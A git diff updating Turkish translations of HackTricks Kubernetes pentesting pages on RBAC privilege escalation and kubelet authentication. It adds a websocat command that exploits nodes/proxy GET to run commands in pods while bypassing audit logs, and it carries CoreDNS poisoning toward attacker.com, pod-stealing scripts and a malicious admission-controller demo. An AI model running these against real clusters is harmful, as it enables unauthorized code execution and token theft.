erişildiğinde aslında `attacker.com` domain'ine gidilmesini sağlayabilir. Sonra bunu `kubectl apply -f poison_dns.yaml` çalıştırarak uygulayabilir. -Diğer bir seçenek, `kubectl edit configmap coredns -n kube-system` komutunu çalıştırarak dosyayı düzenlemek ve değişiklikler yapmaktır. +Başka bir seçenek ise dosyayı doğrudan `kubectl edit configmap coredns -n kube-system` ile düzenleyip değişiklikleri yapmaktır. -### GKE'de Yükselme +### GKE'de Yetki Yükseltme -**GCP ilkelerine K8s izinleri atamanın 2 yolu vardır**. Her durumda, ilkenin ayrıca kümeye erişim sağlamak için **`container.clusters.get`** iznine de ihtiyacı vardır, aksi takdirde **kendi kubectl yapılandırma dosyanızı oluşturmanız** gerekecektir (bir sonraki bağlantıyı takip edin). +K8s izinlerini GCP principal'larına atamanın **2 yolu** vardır. Her durumda principal'ın cluster'a erişmek için kimlik bilgilerini toplayabilmesi adına **`container.clusters.get`** iznine de sahip olması gerekir, yoksa **kendi kubectl config dosyanızı oluşturmanız** gerekecektir (bir sonraki linke bakın). > [!WARNING] -> K8s api uç noktasıyla konuşurken, **GCP kimlik doğrulama belirteci gönderilecektir**. Ardından, GCP, K8s api uç noktası aracılığıyla, önce **ilkenin** (e-posta ile) **kümeye herhangi bir erişimi olup olmadığını kontrol edecektir**, ardından **GCP IAM aracılığıyla herhangi bir erişimi olup olmadığını** kontrol edecektir.\ -> Eğer bu **herhangi biri** **doğruysa**, **yanıt verilecektir**. Eğer **değilse**, **GCP IAM aracılığıyla izinler verilmesi gerektiğini** öneren bir **hata** verilecektir. +> K8s api endpoint ile konuşurken, **GCP auth token gönderilecektir**. Sonra, GCP, K8s api endpoint üzerinden önce principal'ın (email ile) **cluster içinde herhangi bir erişimi olup olmadığını** kontrol edecek, ardından **GCP IAM üzerinden herhangi bir erişimi** olup olmadığını kontrol edecektir.\ +> Eğer bunlardan **herhangi biri** **doğruysa**, erişim sağlanacaktır. Eğer **değilse**, **GCP IAM üzerinden izin verme** öneren bir **hata** verilecektir. -İlk yöntem **GCP IAM** kullanmaktır, K8s izinlerinin **eşdeğer GCP IAM izinleri** vardır ve ilke buna sahipse, bunu kullanabilecektir. +İlk yöntem **GCP IAM** kullanmaktır; K8s izinlerinin **eşdeğer GCP IAM izinleri** vardır ve principal bu izinlere sahipse bunları kullanabilecektir. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -İkinci yöntem, **kümeye içindeki K8s izinlerini atamak** ve kullanıcıyı **e-posta** ile tanımlamaktır (GCP hizmet hesapları dahil). +İkinci yöntem ise kullanıcıyı **email** ile (GCP service account'ları dahil) tanımlayarak cluster içinde **K8s izinleri atamaktır**. -### Serviceaccounts token oluşturma +### Create serviceaccounts token -**TokenRequests** (`serviceaccounts/token`) oluşturabilen ilkeler K8s api uç noktasıyla konuşurken SAs (bilgi [**buradan**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +K8s api endpoint ile konuşurken SAs için **TokenRequests** (`serviceaccounts/token`) oluşturabilecek principal'lar (bilgi için [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -**`update`** veya **`patch`** **`pods/ephemeralcontainers`** üzerinde yetkisi olan ilkeler, **diğer podlarda kod çalıştırma** yeteneğine sahip olabilir ve ayrıcalıklı bir securityContext ile geçici bir konteyner ekleyerek **düğümden çıkma** potansiyeline sahip olabilir. +**`update`** veya **`patch`** hakkına sahip principal'lar **`pods/ephemeralcontainers`** üzerinde diğer pod'larda **kod çalıştırma** elde edebilir ve ayrıcalıklı bir securityContext ile ephemeral container ekleyerek potansiyel olarak node'a **çıkış** yapabilirler. -### ValidatingWebhookConfigurations veya MutatingWebhookConfigurations +### ValidatingWebhookConfigurations or MutatingWebhookConfigurations -`validatingwebhookconfigurations` veya `mutatingwebhookconfigurations` üzerinde `create`, `update` veya `patch` fiillerinden herhangi birine sahip olan ilkeler, **bu tür bir webhookconfigurations oluşturma** yeteneğine sahip olabilirler, böylece **yetkileri artırma** imkanı bulabilirler. +`validatingwebhookconfigurations` veya `mutatingwebhookconfigurations` üzerinde `create`, `update` veya `patch` fiillerinden herhangi birine sahip principal'lar, ayrıcalık yükseltmek için bu tür webhookconfigurations'lardan birini **oluşturabilme** yeteneğine sahip olabilirler. -[`mutatingwebhookconfigurations` örneği için bu gönderinin bu bölümüne bakın](#malicious-admission-controller). +Bir [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). -### Yükselme +### Yetki Yükseltme -Bir sonraki bölümde okuyabileceğiniz gibi: [**Yerleşik Ayrıcalık Yükseltme Önleme**](#built-in-privileged-escalation-prevention), bir ilke, kendisi bu yeni izinlere sahip olmadan ne rol ne de clusterrole güncelleyemez veya oluşturamaz. Ancak **`roles`** veya **`clusterroles`** üzerinde **`escalate` veya `*`** fiiline sahipse ve ilgili bağlama seçeneklerine sahipse, yeni roller, clusterrole'ler güncelleyebilir veya oluşturabilir. +Bir sonraki bölümde okuyacağınız gibi: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), bir principal kendisinde olmayan yeni izinlere sahip olmadan roles veya clusterroles oluşturamaz ya da güncelleme yapamaz. Ancak eğer **`roles`** veya **`clusterroles`** üzerinde ve ilgili binding seçeneklerinde **`escalate`** fiiline veya **`*`**'a sahipse, o zaman sahip olduklarından daha geniş izinlere sahip yeni roles/clusterroles oluşturup güncelleyebilir. -### Düğüm proxy +### Nodes proxy -**`nodes/proxy`** alt kaynağına erişimi olan ilkeler, Kubelet API aracılığıyla **podlarda kod çalıştırabilir** (bkz. [**bu**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Kubelet kimlik doğrulaması hakkında daha fazla bilgi bu sayfada: +`nodes/proxy` alt kaynağına erişimi olan principal'lar Kubelet API aracılığıyla pod'larda **kod çalıştırabilir** (bknz [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Kubelet authentication hakkında daha fazla bilgi için bu sayfaya bakın: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -[**Kubelet API ile yetkilendirilmiş bir şekilde RCE elde etme örneğini burada bulabilirsiniz**](../pentesting-kubernetes-services/index.html#kubelet-rce). +#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion -### Podları silme + planlanamaz düğümler +- Kubelet, HTTP yöntemlerini RBAC fiillerine **protokol yükseltmesinden önce** eşler. WebSocket handshake'leri **HTTP GET** (`Connection: Upgrade`) ile başlamalıdır, bu yüzden WebSocket üzerinden `/exec` **beklenen `create` yerine** **fiil `get`** olarak kontrol edilir. +- `/exec`, `/run`, `/attach` ve `/portforward` açıkça eşlenmemiştir ve varsayılan **`proxy`** alt kaynağına düşer; bu durumda yetkilendirme sorusu **`can get nodes/proxy?`** olur. +- Eğer bir token sadece **`nodes/proxy` + `get`** sahibiyse, `https://:10250` üzerindeki kubelet'e doğrudan WebSocket erişimi o düğümdeki herhangi bir pod'ta rastgele komut çalıştırmaya izin verir. Aynı istek API server proxy yolu (`/api/v1/nodes//proxy/exec/...`) üzerinden gönderildiğinde normal bir HTTP POST olduğu için `create` olarak değerlendirilir ve reddedilir. +- Kubelet, WebSocket yükseltmesinden sonra ikinci bir yetkilendirme yapmaz; sadece başlangıçtaki GET değerlendirilir. -**Podları silebilen** (`delete` fiili ile `pods` kaynağı üzerinde), veya **podları tahliye edebilen** (`create` fiili ile `pods/eviction` kaynağı üzerinde), veya **pod durumunu değiştirebilen** (`pods/status` erişimi) ve **diğer düğümleri planlanamaz hale getirebilen** (`nodes/status` erişimi) veya **düğümleri silebilen** (`delete` fiili ile `nodes` kaynağı üzerinde) ve bir pod üzerinde kontrol sahibi olan ilkeler, **diğer düğümlerden podları çalabilir**, böylece bunlar **kompromize** **düğümde** **çalıştırılır** ve saldırgan bu podlardan **tokenları çalabilir**. +**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):** +```bash +kubectl auth can-i --list | grep "nodes/proxy" +websocat --insecure \ +--header "Authorization: Bearer $TOKEN" \ +--protocol "v4.channel.k8s.io" \ +"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" +``` +- Node adından ziyade **Node IP**'yi kullanın. Aynı istek `curl -X POST` ile **Forbidden** olacaktır çünkü `create` ile eşlenir. +- Doğrudan kubelet erişimi API server'ı atlar, bu yüzden AuditPolicy yalnızca kubelet user agent'ten gelen `subjectaccessreviews`'ı gösterir ve **`pods/exec` komutlarını kaydetmez**. +- Etkilenen service account'ları, `nodes/proxy` GET ile sınırlı token'ları bulmak için [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) ile listeleyin. + +### Pod'ları silme + unschedulable node'lar + +Bir pod üzerinde kontrole sahip olan ve **pod'ları silebilen** (`delete` verb over `pods` resource), veya **pod'ları evict edebilen** (`create` verb over `pods/eviction` resource), veya **pod durumunu değiştirebilen** (erişim `pods/status`) ve ayrıca **diğer node'ları unschedulable hale getirebilen** (erişim `nodes/status`) veya **node'ları silebilen** (`delete` verb over `nodes` resource) yetkili kimlikler, diğer node'lardaki pod'ları **çalabilirler**; böylece bu pod'lar **kompromize edilmiş node** üzerinde **çalıştırılır** ve saldırgan bu pod'lardaki **token'ları çalabilir**. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -640,41 +660,41 @@ kubectl delete pods -n kube-system ``` ### Services status (CVE-2020-8554) -**`services/status`**'ı **değiştirebilen** ilkeler, `status.loadBalancer.ingress.ip` alanını **düzeltilememiş CVE-2020-8554**'ü istismar etmek için ayarlayabilir ve **küme** üzerinde **MiTM saldırıları** başlatabilir. CVE-2020-8554 için çoğu önlem, yalnızca ExternalIP hizmetlerini engellemektedir (buna göre [**bu**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +services/status üzerinde **değişiklik yapabilen** principal'lar `status.loadBalancer.ingress.ip` alanını ayarlayarak **onarımlanmamış CVE-2020-8554**'ten faydalanabilir ve **MiTM attacks against the clus**ter başlatabilir. CVE-2020-8554 için yapılan çoğu hafifletme sadece ExternalIP services'leri engelliyor (bkz. [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Nodes and Pods status -`nodes/status` veya `pods/status` üzerinde **`update`** veya **`patch`** izinlerine sahip ilkeler, uygulanan zamanlama kısıtlamalarını etkilemek için etiketleri değiştirebilir. +`nodes/status` veya `pods/status` üzerinde **`update`** veya **`patch`** yetkisine sahip principal'lar, planlama kısıtlamalarını etkileyebilecek etiketleri değiştirebilir. -## Built-in Privileged Escalation Prevention +## Yerleşik Yetki Yükseltme Önleme -Kubernetes, ayrıcalık yükselmesini önlemek için [gömülü bir mekanizma](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) sunar. +Kubernetes'in yetki yükseltmeyi önlemek için bir [yerleşik mekanizması](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) vardır. -Bu sistem, **kullanıcıların rollerini veya rol bağlamalarını değiştirerek ayrıcalıklarını artırmalarını** engeller. Bu kuralın uygulanması API seviyesinde gerçekleşir ve RBAC yetkilendiricisi devre dışı olduğunda bile bir koruma sağlar. +Bu sistem, **kullanıcıların roller veya role binding'leri değiştirerek ayrıcalıklarını yükseltemeyeceklerini** garanti eder. Bu kuralın uygulaması API seviyesinde gerçekleşir; bu sayede RBAC authorizer devre dışı olsa bile bir güvenlik katmanı sağlar. -Kural, **bir kullanıcının yalnızca bir rolü oluşturabileceğini veya güncelleyebileceğini, eğer rolün içerdiği tüm izinlere sahipse** belirtir. Ayrıca, kullanıcının mevcut izinlerinin kapsamı, oluşturmak veya değiştirmek istediği rolün kapsamıyla uyumlu olmalıdır: ya ClusterRoles için küme genelinde ya da Roles için aynı ad alanında (veya küme genelinde). +Kural şöyle belirtir: bir **kullanıcı yalnızca, rolün içerdiği tüm izinlere sahip ise bir role oluşturabilir veya güncelleyebilir.** Ayrıca kullanıcının mevcut izinlerinin kapsamı, oluşturmak veya değiştirmek istediği rolün kapsamıyla eşleşmelidir: ClusterRole'lar için cluster-genel; Role'lar için aynı namespace içinde (veya cluster-genel) olmalıdır. > [!WARNING] -> Önceki kuralda bir istisna vardır. Eğer bir ilke **`roles`** veya **`clusterroles`** üzerinde **`escalate`** fiiline sahipse, kendisi izinlere sahip olmasa bile rollerin ve clusterrollerin ayrıcalıklarını artırabilir. +> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself. ### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Görünüşe göre bu teknik daha önce çalışıyordu, ancak testlerime göre önceki bölümde açıklanan aynı nedenle artık çalışmıyor. Eğer zaten izinleriniz yoksa, kendinize veya farklı bir SA'ya bazı ayrıcalıklar vermek için bir rolebinding oluşturamaz/değiştiremezsiniz.** +> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.** -Rolebinding oluşturma ayrıcalığı, bir kullanıcının **rolleri bir hizmet hesabına bağlamasına** olanak tanır. Bu ayrıcalık, **kullanıcının ele geçirilmiş bir hizmet hesabına yönetici ayrıcalıkları bağlamasına** neden olabileceğinden, ayrıcalık yükselmesine yol açabilir. +Rolebindings oluşturma yetkisi bir kullanıcının **rolleri bir service account'a bağlamasına** izin verir. Bu yetki potansiyel olarak ayrıcalık yükseltmeye neden olabilir çünkü kullanıcının ele geçirilmiş bir service account'a admin ayrıcalıkları **bağlamasına** izin verir. -## Other Attacks +## Diğer Saldırılar ### Sidecar proxy app -Varsayılan olarak, podlar arasındaki iletişimde herhangi bir şifreleme yoktur. Karşılıklı kimlik doğrulama, iki yönlü, poddan poda. +Varsayılan olarak pod'lar arasındaki iletişim şifrelenmez. Karşılıklı kimlik doğrulama (mutual authentication), iki yönlü, pod-to-pod yoktur. -#### Create a sidecar proxy app +#### Bir sidecar proxy uygulaması oluşturma -Bir sidecar konteyner, **bir podun içine ikinci (veya daha fazla) bir konteyner eklemekten** ibarettir. +Bir sidecar container, bir pod içine **ikinci (veya daha fazla) container eklemekten** ibarettir. -Örneğin, aşağıdaki, 2 konteyner içeren bir podun yapılandırmasının bir parçasıdır: +Örneğin, aşağıda 2 container içeren bir pod'un konfigürasyonunun bir bölümü yer almaktadır: ```yaml spec: containers: @@ -684,47 +704,47 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -Örneğin, mevcut bir pod'a yeni bir konteyner eklemek için spesifikasyona yeni bir konteyner ekleyebilirsiniz. İkinci konteynere, birincisinin sahip olmayacağı **daha fazla izin verebileceğinizi** unutmayın. +For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could **give more permissions** to the second container that the first won't have. -Daha fazla bilgi için: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Kötü Amaçlı Kabul Kontrolörü +### Kötü Amaçlı Admission Controller -Bir kabul kontrolörü, nesnenin kalıcı hale gelmeden önce Kubernetes API sunucusuna yapılan istekleri **yakalar**, ancak **istek kimlik doğrulandıktan ve yetkilendirildikten sonra**. +Bir Admission Controller, nesnenin kalıcı hale gelmesinden önce, ancak isteğin **kimlik doğrulandıktan** **ve yetkilendirildikten** sonra Kubernetes API server'a yapılan istekleri **yakalar**. -Bir saldırgan bir şekilde **bir Mutasyon Kabul Kontrolörü enjekte etmeyi** başarırsa, **zaten kimlik doğrulanmış istekleri değiştirme** yeteneğine sahip olacaktır. Potansiyel olarak yetki yükseltme yapabilir ve genellikle kümede kalıcı hale gelebilir. +Eğer bir saldırgan bir şekilde **inject a Mutation Admission Controller** etmeyi başarırsa, **önceden kimlik doğrulanmış istekleri değiştirebilecek**. Bu potansiyel olarak privesc yapmaya ve daha sık olarak cluster'da kalıcılık sağlamaya olanak verir. -**Örnek** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): +**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo cd malicious-admission-controller-webhook-demo ./deploy.sh kubectl get po -n webhook-demo -w ``` -Durumunu kontrol et, hazır olup olmadığını görmek için: +Hazır olup olmadığını görmek için durumu kontrol et: ```bash kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo ``` ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) -Sonra yeni bir pod dağıtın: +Ardından yeni bir pod dağıtın: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -`ErrImagePull` hatasını gördüğünüzde, görüntü adını aşağıdaki sorgulardan biriyle kontrol edin: +`ErrImagePull` hatasını görürseniz, image adını aşağıdaki sorgulardan biriyle kontrol edin: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Yukarıdaki görüntüde görebileceğiniz gibi, `nginx` imajını çalıştırmaya çalıştık ama son çalıştırılan imaj `rewanthtammana/malicious-image`. Ne oldu böyle!!? +Yukarıdaki resimde görüldüğü gibi, `nginx` imajını çalıştırmayı denedik ama sonunda çalıştırılan imaj `rewanthtammana/malicious-image` oldu. Ne oldu şimdi!!? #### Teknik Detaylar -`./deploy.sh` betiği, yapılandırma satırlarında belirtilen şekilde Kubernetes API'sine yapılan istekleri değiştiren bir mutasyona uğratan webhook admission controller'ı kurar ve gözlemlenen sonuçları etkiler: +`./deploy.sh` scripti, yapılandırma satırlarında belirtildiği şekilde Kubernetes API'sine yapılan istekleri değiştiren bir mutating webhook admission controller kurar ve gözlemlenen sonuçları etkiler: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -732,7 +752,7 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -Yukarıdaki kod parçası, her pod'daki ilk konteyner görüntüsünü `rewanthtammana/malicious-image` ile değiştirir. +Yukarıdaki kod parçası her pod'daki ilk container imajını `rewanthtammana/malicious-image` ile değiştirir. ## OPA Gatekeeper bypass @@ -742,20 +762,20 @@ Yukarıdaki kod parçası, her pod'daki ilk konteyner görüntüsünü `rewantht ## En İyi Uygulamalar -### **Hizmet Hesabı Token'larının Automount'unu Devre Dışı Bırakma** +### **Service Account Tokenlarının automount Özelliğini Devre Dışı Bırakma** -- **Pod'lar ve Hizmet Hesapları**: Varsayılan olarak, pod'lar bir hizmet hesabı token'ı monte eder. Güvenliği artırmak için, Kubernetes bu automount özelliğinin devre dışı bırakılmasına izin verir. -- **Uygulama Şekli**: Hizmet hesapları veya pod'ların yapılandırmasında `automountServiceAccountToken: false` ayarını yapın, Kubernetes sürüm 1.6'dan itibaren. +- **Pods and Service Accounts**: Varsayılan olarak, pod'lar bir service account token'ı mount eder. Güvenliği artırmak için, Kubernetes bu automount özelliğini devre dışı bırakmaya izin verir. +- **Nasıl Uygulanır**: Kubernetes 1.6'dan itibaren service account veya pod konfigürasyonlarında `automountServiceAccountToken: false` ayarlayın. -### **RoleBindings/ClusterRoleBindings'de Kısıtlayıcı Kullanıcı Ataması** +### **RoleBindings/ClusterRoleBindings'de Kısıtlı Kullanıcı Ataması** -- **Seçici Dahil Etme**: RoleBindings veya ClusterRoleBindings'e yalnızca gerekli kullanıcıların dahil edildiğinden emin olun. Düzenli olarak denetim yapın ve alakasız kullanıcıları kaldırarak güvenliği sıkı tutun. +- **Seçici Dahil Etme**: Sadece gerekli kullanıcıların RoleBindings veya ClusterRoleBindings'e dahil edildiğinden emin olun. Düzenli olarak denetleyin ve alakasız kullanıcıları kaldırarak sıkı güvenliği koruyun. -### **Namespace'e Özgü Roller Üzerine Cluster Genel Rolleri** +### **Namespace'e Özgü Roles, Cluster-Genel ClusterRoles Yerine** -- **Roller vs. ClusterRoles**: Namespace'e özgü izinler için ClusterRoles ve ClusterRoleBindings yerine Roles ve RoleBindings kullanmayı tercih edin. Bu yaklaşım, daha ince kontrol sağlar ve izinlerin kapsamını sınırlar. +- **Roles vs. ClusterRoles**: Namespace'e özel izinler için cluster çapında uygulanan ClusterRoles ve ClusterRoleBindings yerine Roles ve RoleBindings kullanmayı tercih edin. Bu yaklaşım daha ince kontrol sağlar ve izinlerin kapsamını sınırlar. -### **Otomatik Araçlar Kullanın** +### **Otomatik araçları kullanın** {{#ref}} https://github.com/cyberark/KubiScan @@ -776,5 +796,8 @@ https://github.com/aquasecurity/kube-bench - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) - [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) - [**https://kubenomicon.com/**](https://kubenomicon.com/) +- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) +- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) +- [websocat](https://github.com/vi/websocat) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index 6ab56596b..f948b71e4 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -2,23 +2,23 @@ {{#include ../../../banners/hacktricks-training.md}} -## Kubelet Kimlik Doğrulama +## Kubelet Authentication -[**Belgelerden:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**Dokümanlardan:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -Varsayılan olarak, diğer yapılandırılmış kimlik doğrulama yöntemleri tarafından reddedilmeyen kubelet'in HTTPS uç noktasına yapılan istekler, anonim istekler olarak kabul edilir ve **`system:anonymous`** adlı bir **kullanıcı adı** ve **`system:unauthenticated`** adlı bir **grup** verilir. +Varsayılan olarak, diğer yapılandırılmış kimlik doğrulama yöntemleri tarafından reddedilmeyen kubelet'in HTTPS uç noktasına yapılan istekler anonim istekler olarak muamele görür ve **kullanıcı adı `system:anonymous`** ve **grup `system:unauthenticated`** verilir. -**3** kimlik doğrulama **yöntemi** vardır: +Kimlik doğrulama için **3** **yöntem** şunlardır: -- **Anonim** (varsayılan): Parametreyi ayarlayarak **`--anonymous-auth=true` veya yapılandırmayı kullanın:** +- **Anonymous** (varsayılan): Parametreyi **`--anonymous-auth=true`** olarak ayarlayın veya yapılandırmayı kullanın: ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: Bu, kubectl **API bearer token'larını** yetkilendirme olarak **etkinleştirecektir** (herhangi bir geçerli token geçerli olacaktır). Bunu şu şekilde etkinleştirin: -- `authentication.k8s.io/v1beta1` API grubunun API sunucusunda etkin olduğundan emin olun +- **Webhook**: Bu, kubectl **API bearer tokens**'ı yetkilendirme için **etkinleştirecek** (geçerli herhangi bir token geçerli sayılacaktır). Bunu şu şekilde etkinleştirin: +- API sunucusunda `authentication.k8s.io/v1beta1` API grubunun etkin olduğundan emin olun - kubelet'i **`--authentication-token-webhook`** ve **`--kubeconfig`** bayraklarıyla başlatın veya aşağıdaki ayarı kullanın: ```json "authentication": { @@ -28,11 +28,11 @@ Varsayılan olarak, diğer yapılandırılmış kimlik doğrulama yöntemleri ta }, ``` > [!NOTE] -> Kubelet, bearer token'larından **kullanıcı bilgilerini belirlemek** için yapılandırılmış API sunucusunda **`TokenReview` API**'sini çağırır. - -- **X509 istemci sertifikaları:** X509 istemci sertifikaları aracılığıyla kimlik doğrulamaya izin verir -- Daha fazla bilgi için [apiserver kimlik doğrulama belgelerine](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) bakın -- İstemci sertifikalarını doğrulamak için bir CA paketi sağlayarak `--client-ca-file` bayrağı ile kubelet'i başlatın. Ya da yapılandırma ile: +> kubelet, yapılandırılmış API server üzerinde **`TokenReview` API** çağrısı yapar ve bearer token'lerden **kullanıcı bilgilerini belirler** + +- **X509 client certificates:** X509 client certs ile kimlik doğrulamasına izin verir +- Daha fazla ayrıntı için [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) +- kubelet'i `--client-ca-file` bayrağı ile başlatın; istemci sertifikalarını doğrulamak için bir CA paketi sağlayın. Veya yapılandırma ile: ```json "authentication": { "x509": { @@ -42,14 +42,14 @@ Varsayılan olarak, diğer yapılandırılmış kimlik doğrulama yöntemleri ta ``` ## Kubelet Yetkilendirmesi -Başarıyla kimlik doğrulaması yapılmış (anonim bir istek dahil) herhangi bir istek **yetkilendirilir**. **Varsayılan** yetkilendirme modu **`AlwaysAllow`** olup, bu **tüm istekleri** **izin verir**. +Başarıyla kimlik doğrulanan (anonim bir istek dahil) her istek **daha sonra yetkilendirilir**. Varsayılan yetkilendirme modu **`AlwaysAllow`**'dır; bu da **tüm isteklere izin verir**. -Ancak, diğer olası değer **`webhook`**'dur (bu, **dışarıda en çok bulacağınız şeydir**). Bu mod, bir eylemi izin vermek veya reddetmek için **kimlik doğrulanmış kullanıcının izinlerini kontrol eder**. +Ancak diğer olası değer **`webhook`** (dışarıda **çoğunlukla bununla karşılaşacaksınız**). Bu mod, bir eyleme izin verip vermemeye karar vermek için **kimliği doğrulanmış kullanıcının izinlerini denetler**. > [!WARNING] -> **Anonim kimlik doğrulaması etkinleştirilse bile**, **anonim erişim** herhangi bir eylemi gerçekleştirmek için **hiçbir izne sahip olmayabilir**. +> Şunu unutmayın: **anonim kimlik doğrulama etkin olsa bile**, **anonim erişimin** herhangi bir eylemi gerçekleştirmek için **herhangi bir izni olmayabilir**. -Webhook üzerinden yetkilendirme, **parametre `--authorization-mode=Webhook`** kullanılarak veya yapılandırma dosyası ile yapılandırılabilir: +Webhook aracılığıyla yetkilendirme, **parametre `--authorization-mode=Webhook`** kullanılarak veya yapılandırma dosyasıyla şu şekilde yapılandırılabilir: ```json "authorization": { "mode": "Webhook", @@ -59,41 +59,45 @@ Webhook üzerinden yetkilendirme, **parametre `--authorization-mode=Webhook`** k } }, ``` -Kubelet, her isteğin **yetkilendirilip yetkilendirilmediğini** belirlemek için yapılandırılmış API sunucusunda **`SubjectAccessReview`** API'sini çağırır. +Kubelet, yapılandırılmış API sunucusunda **`SubjectAccessReview`** API'sini çağırarak her isteğin **yetkilendirilmiş** olup olmadığını **belirler.** -Kubelet, API isteklerini apiserver ile aynı [istek nitelikleri](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) yaklaşımını kullanarak yetkilendirir: +Kubelet, apiserver ile aynı [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) yaklaşımını kullanarak API isteklerini yetkilendirir: - **Eylem** -| HTTP fiili | istek fiili | -| ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- | -| POST | oluştur | -| GET, HEAD | al (bireysel kaynaklar için), listele (koleksiyonlar için, tam nesne içeriği dahil), izle (bireysel bir kaynak veya kaynak koleksiyonunu izlemek için) | -| PUT | güncelle | -| PATCH | yaman | -| DELETE | sil (bireysel kaynaklar için), koleksiyonsil (koleksiyonlar için) | +| HTTP verb | request verb | +| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| POST | create | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | +| PUT | update | +| PATCH | patch | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- Kubelet API'si ile konuşan **kaynak** her zaman **düğümler**dir ve **alt kaynak** gelen isteğin yoluna göre **belirlenir**: +- Kubelet API ile konuşan **resource** her zaman **nodes**'tır ve **subresource**, gelen isteğin yolundan **belirlenir**: -| Kubelet API | kaynak | alt kaynak | -| ------------ | ------ | ---------- | -| /stats/\* | düğümler | istatistik | -| /metrics/\* | düğümler | metrik | -| /logs/\* | düğümler | günlük | -| /spec/\* | düğümler | spesifikasyon | -| _diğer tüm_ | düğümler | proxy | +| Kubelet API | resource | subresource | +| ------------ | -------- | ----------- | +| /stats/\* | nodes | stats | +| /metrics/\* | nodes | metrics | +| /logs/\* | nodes | log | +| /spec/\* | nodes | spec | +| _all others_ | nodes | proxy | -Örneğin, aşağıdaki istek, izin olmadan kubelet'in pod bilgilerine erişmeye çalıştı: +> [!NOTE] +> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion 